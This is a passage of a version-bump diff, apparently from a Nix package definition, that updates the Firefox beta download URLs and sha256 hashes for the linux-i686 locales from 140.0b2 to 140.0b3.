-      sha256 = "d1ba1fd9a19556f8d1128d3b6025cd862210d8635f35221ae96a894414c1acbb";
+      sha256 = "bf94bab9f91d5ea82131e43ed3d432b0261e3b2090c2d2db95fb035e4e961346";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/he/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/he/firefox-140.0b3.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "5624f4bc7a3b700e602af22443d40da302fcb604240258c5ff1864a32040421e";
+      sha256 = "db191d3e2a3fff647a1bf9a955075919de5cb5a376a4a1474a8adac44c3df841";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hi-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hi-IN/firefox-140.0b3.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "d67706f3213f12d475250f0c1ee4d7e618b03bba9130803bf7cea24d5d46e770";
+      sha256 = "c6a51b472c569cda3b50d7dc9e9d0a36cf820a8a788a8b5b4cdb582f175e7ce5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hr/firefox-140.0b3.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "55b89834e35ef17fb1d619a7ac949f0e662531892ea2c0d17fa5f6131e4575d1";
+      sha256 = "54aca88fb64a6b5141746ad4da23b081a482d94e04a7517b9c731340fa5440df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hsb/firefox-140.0b3.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "1c112a4996b5c32971ba5d784379ece5bab5f9ff10d3568884f76dc2e985e47f";
+      sha256 = "6c586090e9fe87bc44892ac85637ad540ab5d5e158c17c5f14c68f9f63ee3a74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hu/firefox-140.0b3.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "748830a3236b3165c25cf4ceb91e99d1c082c0df507e76e49825fa7b8437320e";
+      sha256 = "dea07e07f30d00b08c14b7dbabf5a38cd7911923808cf9224293d32921c2a65a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/hy-AM/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hy-AM/firefox-140.0b3.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "f836c11a40efc7cf1aecaa7719713f282d8d983c1df5d747669fde975f9173ea";
+      sha256 = "5d5fe665856bd0790e63edd43651ff9754608ef8fbaab38a8cae31a1252d1751";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ia/firefox-140.0b3.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "9b814a6c15a9418f4e412cc265798d630fa2a935fa714db4db17b2916f3dc73f";
+      sha256 = "e90c989cc7c7b8eada6272566265c263eebba4cbab6e258e0d5a2d431b1dd7da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/id/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/id/firefox-140.0b3.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "d47fa1a73c96f23fa169fb0ca4dcf977e4bfe264be21620a61e91776381d09d8";
+      sha256 = "5482412883d928072d3a0e334213199e947cc03fd3db6fc598f7a915976dbbf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/is/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/is/firefox-140.0b3.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "2c431df3eac6468a456d568e5659d422abf7b529e7405c522b63ab5151011825";
+      sha256 = "5684323f967b0edcb1de2199f1ac3d15730bf87b19a0091776b5dabae99c3c1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/it/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/it/firefox-140.0b3.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "67d030c97665b64ea8ce7c61e9f2f42b1e2f917debbb072887552bd2640aa031";
+      sha256 = "12df3e97e46b5b6291f6317c827381635cc1916c042aa18a3da928646c3298b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ja/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ja/firefox-140.0b3.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "28a3bdbe49900a2b290a986800665bd610aaba582ed852c7d7c16b36efff4f90";
+      sha256 = "208ab74c7967a65a4b73edf57d9d8189341007554e6aa75906df6255505b984f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "55871733f141fce7cb20244efa9cce6811e79c45f5f77177de5e9ac48bfd2c1b";
+      sha256 = "5f193f7cb6008dfa55e7f2fcfa914c13d44a5d27dd18c291932d913a049d3c54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "859ca377458e20fab592010257ab7d10552a8bb60d93d3936519c1b6cb6a82d6";
+      sha256 = "616a5fae71e292e4cfadf83c670879a5436337d859bcdb693498f2318a33e9e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "1759ea36efa1ccdb77734b0886c00c797356435994fed5747dc644ba0a18a477";
+      sha256 = "7e90e3cf6ef7db5c534474a4b7eb458582c914814f5ab3e9faede1aeaedf288f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "f0f9886f6324a6fcce0e76c48457ade4a891f3c38e1a91997b5f97c34ed66e5d";
+      sha256 = "638c185fe326bdbc6e122fa900ed54600abede47bbc702b4c2aeace7fe81ea59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "7d79b905a38e09d9551e423760ec2ca4e92fa1ef07c676da822567d9e157b400";
+      sha256 = "4f1bce2457170735ca89a1fdd49355b3ce66862eb25c4650018f29786a3e628c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "030fc4bde9e14dd0f67c8007827f52dac7a623112b250e39c67ec4621818f2e5";
+      sha256 = "912d16eb2952971879b9a4a12d5bc0596bd26a3a446a0836d644d95322c0d88f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "2042102cf667d81d62870df30e00cfb6015c7032f6367d2eee65bbc646aaa13f";
+      sha256 = "c9d88715308eb1dc9a7408e70d791619b96bfeb513a497264bbe4b35a2a6c21a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "53e504395c32ae53b926505cf3fba5f3dcbae8995eec8657be085200e79bff6c";
+      sha256 = "2a04604e7455fe01534470c36a35fdec6b833c6fbf37a415ad65a2a33ac685eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "0924feafc5ffefa07bf2d805ebb3396b8ab565f92714ad438a2077f395dfe3b9";
+      sha256 = "a820fa038bd93794e06cf1e42a69759bbf6cde44196d1103fe7f877602510f8b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "44c9fff89d42c44ab2eeeed8ac54e9ece3d52ca3f3c05a7cc800f5ae458861b2";
+      sha256 = "b6417ebc9f7f9f811346bcd013c65ae873bd3b2671d6a0c25f02c9d1fdf15f8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "1740dd34a0d1a0f4b529535473714b016bda43c2838879b5991e43c8ff11eef4";
+      sha256 = "d9600fee7682011fa3eae2b090b50d67bab743c0393c5deff03c5667fa11f78f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "669c371e0103d0da8df990f002e1f67632de4fe01f4c4fa18c620445176de1ae";
+      sha256 = "faffaf6851c21ebd1181c93772f912709bf81ab59b795cf4eb7201a162aedda4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "2a312674d939b1cbffdb708a36d8159c1c7d7ae18fb839952db0a99909e11692";
+      sha256 = "97f5cea2c18b3e07388496fc45126dca7bf58a837eccb14385b2b29701d11108";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "a8df416206c09635d76ef4b76f194c2044bf7527b187787e46cd445361270c87";
+      sha256 = "9205b0871af11b98e802ca77f3c8504894cac12cbf1cbfa502767eb975eec6c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "9551f9f3a19efd9827cf8302bdd4ccffd9c84c5bcd34a874bff741a8e2f8b312";
+      sha256 = "449ad603575859ce4627e743d808e5ffbfd2d595c1d492fa764a8cf059816b7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "9766566147c5d4b1c2150258dbbb719d1f9dd971bbb8c81c0b2a1feeeb867046";
+      sha256 = "ad5fa26a8566c22f9efd33ca0268736d4a38ffa3309fdf21f98c0a29f60462ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "413bfb495237e4f7bbcfed9a2a6511c0c9e0ddd84c08c7ebe939675039969b7c";
+      sha256 = "1bd652bbb01825a9ad3efc7991fe315dff9fdc3596d197c413658c055f97efbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "a51718ea3fcee92b96445f592ad90c51e011dad048c00e547566929968101f2f";
+      sha256 = "79732be6d97e6f7fb812da0a718998bde7808f571d5a57fd8042d5b33584b79b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "98bdcd33a7053afe0a770818337d7cbc358c387f263a6a587065adeab091d5ca";
+      sha256 = "85076e967a48f3ba02fd785adbba0af0f6525c133efbda4a3884b5110c4d2a7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "80d06c0c7d211136e715bc0d708b261da09f17e4182d302ae2c673265251452c";
+      sha256 = "eef5081b1c72402758b244d7bfe7d1aeec301ccb2b3f1436fe8fac2ed5c8fa22";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "857d512372876071be9741ab69ead9641221578e66b46c08be0bd4b9ceb67ee5";
+      sha256 = "eaf150b7ea5496a4cd7648da0ecf507091ba7b4412a037db6ea48dc5614fd6f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "b8b555872fcd6f6dfdaa08f084ca65fbf33d58bcd8419973f2efe25b3d03e5e4";
+      sha256 = "81f6ab621772995f3bb3492695e32eaac1d667142e7bd4f6de0bb8825ed5b48c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "ca253108c8246320aa47376f5e6dd0663d76c7c05fcb8d156f3d4e236b1329e9";
+      sha256 = "f26cd0a09eecdafbac993a9e305f3ec9969906cd06fdff5f5101dce71b7b48f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "8006f4534e48d7dd26725dd3cd7cae56aff960181f9f7a8e63648c90c3afafac";
+      sha256 = "6513741a8ac710a7016a33b3e3c00969954db50e3c2ddfa4a2debb5992e4c8ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "c57b4c19aae50965bd88d0fdece6b999f02885987d2fe52ce251e2cedb175c2e";
+      sha256 = "325d70559d8be33846c519a9aeda98d2a42651daaf9c12602d1d29059029a6b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "a15d19aafd33c8a95b2fd7e9f35086043e08151255b7eab880918422a2c6c727";
+      sha256 = "6ab0592eb32fdd72b6e5ac121199d2c7c46320b2e3215fa043112c8c60b72396";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "9843fc42dec2c3af953736915c4ba815b170276442f679c448ce094bd844d152";
+      sha256 = "7202e3e121225c034724e67f2bd1d0f5dc1359c5c316e76fb45e1522d975a2e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "b6991a246b2328c04ddd385ac16438f4e73da1ed9ad2485e3ac322b26e3c3a68";
+      sha256 = "a3cfd6eabb41224e3a7ff23b19c2bfe3bee8b662c259eac3ff504d9dd371e4d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "2f93452a96fed41bfbaf5467f33372ebb6b9f6c0ba5ba40cd1f349b8c983e71e";
+      sha256 = "10b49deeca01bf571c8de9a49f18f51bd761d1eef4a00b15eb8740c734a69962";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "47e6d512ce895898505b8ca6b7105ddcb6017a1f3b0878dd904244c2826140a7";
+      sha256 = "ea6a2c21f49066ff5bd7e45d7e5cbb6fa1eb737ed111e2fadc325da659cb3e50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "871e23a7c187230462ebb61550c9083b2d898c5f76160e95913a0fad8f60742e";
+      sha256 = "0f2421d1617932b5a17c158ca04b01e820c2adb6c7eda9d6f54e7b22e99ded02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "57db29bc5fd0f98b231338bb256e07953fb54867cf483de08b7b530526f8defb";
+      sha256 = "654864b81f5abf3518f67787d5d9e404e3d5462953916649f3ada78f5ec8e3ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "72873188351e9dd5ba46fb229eff1306713944a45dfb6c96ca24bb5ab4ad61f2";
+      sha256 = "e7b42884848ddf9b32783020eb41c6e616c46a7b4b46bd1e2d32c99c78842bac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "5acec6030e5705819159886d9a719fefc5aafad0d69b58d3cbcdcda1311264fa";
+      sha256 = "d82fb6ce158e37cbd74971d6a9cfe6c57004614c3f406f817f342c1f523b6c2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "74ac1e41660b8127c701b30e616131ba46e87b47665095c0836fb70bc9525d10";
+      sha256 = "028c133c6823549f499b1a079d07052c50f890c5f431412e856e6e9b52fa6797";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "62676a28d5791d0bdb0ab45996313442d9ebe8e36a401f1750e3522f2148bbb8";
+      sha256 = "8e7eea05f48a536dab3b6924dada5d4f0fa11ccf6a691d993f84ffbb0dd8e8ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "89c2be0bfcddaa8c44bfca3ab3c91f9c257b1ecebcbeacea203673f4a4e0edb8";
+      sha256 = "e5c40fb83fc68718a38411bf8dd17172546c89328e8a352b6aa4ad81d8946963";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "6df705686cc62e94fff63e1eea2c962e6ac8e45c797755809f4ef7657e97f489";
+      sha256 = "b2ca1cc8d20926557240946aa9ca432c1b24162d8c26be088f95c98a0e2a2697";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "011478d18c5a07bee2dc417a618be95ed94b10f9e97c315c2114405219f4f633";
+      sha256 = "8a3d7b4669dae9648ac2f06a03781578f6803a241fbc5183499fa18a29f46fac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "bf71f9da12c8060543ebe48ebfdcc6e2e16a8b86b930a138a7a35996d6308974";
+      sha256 = "a65218675b9e62e2a2e72c8bd7a3a78a56cab0ce91426f623b6e6afdea1a04df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "f8c6c9c5a8d51df500f463cab3951addd59a11eda3bc92228d9c42a56c3883a5";
+      sha256 = "9ddb3cae1f4d999d1a7840e019867f1554995cc8bef0a1aa8ac90ba547972722";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "45c02ae216dfbff769daf7236a31d4efd7aaca3b419ed037d3250b2a5c03658d";
+      sha256 = "a1455aec73754985d65d7b28ffe2897ee9bbde55506fd6d9772277b5346f4092";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "ff6ab57920b494349951ba85e1e604f135a6b706a89d26a93ec5945ebba7932d";
+      sha256 = "9fbfd677f9a807daba18eb008a183fdf63cad7d42f42cf10311593ccf1e4af93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "e3999c0c31fa0c1210cbf52ae4a936ee08d1cee6a53e9f6a2b294167317bed99";
+      sha256 = "57a19f4b076bf14db8a83e96559c937e7e848d95621aebc04f8009d614312bfb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/uk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "85af79aed55ab6b5f5f700540bd0a6d382195cbf0f7749e21a9705fc9cc2fc66";
+      sha256 = "ce745304c9068082289893584e10855f022e0b55b974088cd4d2f2d177e949a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "8efb1afcb3555911be2816f62db5d2d2115f416804064f4a7ea016d368605bce";
+      sha256 = "b5fa6ae252d2a39f002d9f61bfca5f4c44322f134f82f6d75736197207ac93ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "bbc614544c7b2272e812ea8ebd058adef37bc905bfb989e28259c270d837eda7";
+      sha256 = "d17c250ae08b958bf0c9a3be3953133af69e88855c38dabd5a1f9281ae675b93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "f6d77d1d12ebcd17795be230395f42f8499ae4fd2c954d96a2fea50102141bcd";
+      sha256 = "45ba1505cc8b64e55ad518c1138e115c7f01c9572a13c2dd07970a479005cd39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "06427fbd032094695659c8aac0b7d48b8ac49207750c72a20bd96516a086e3e9";
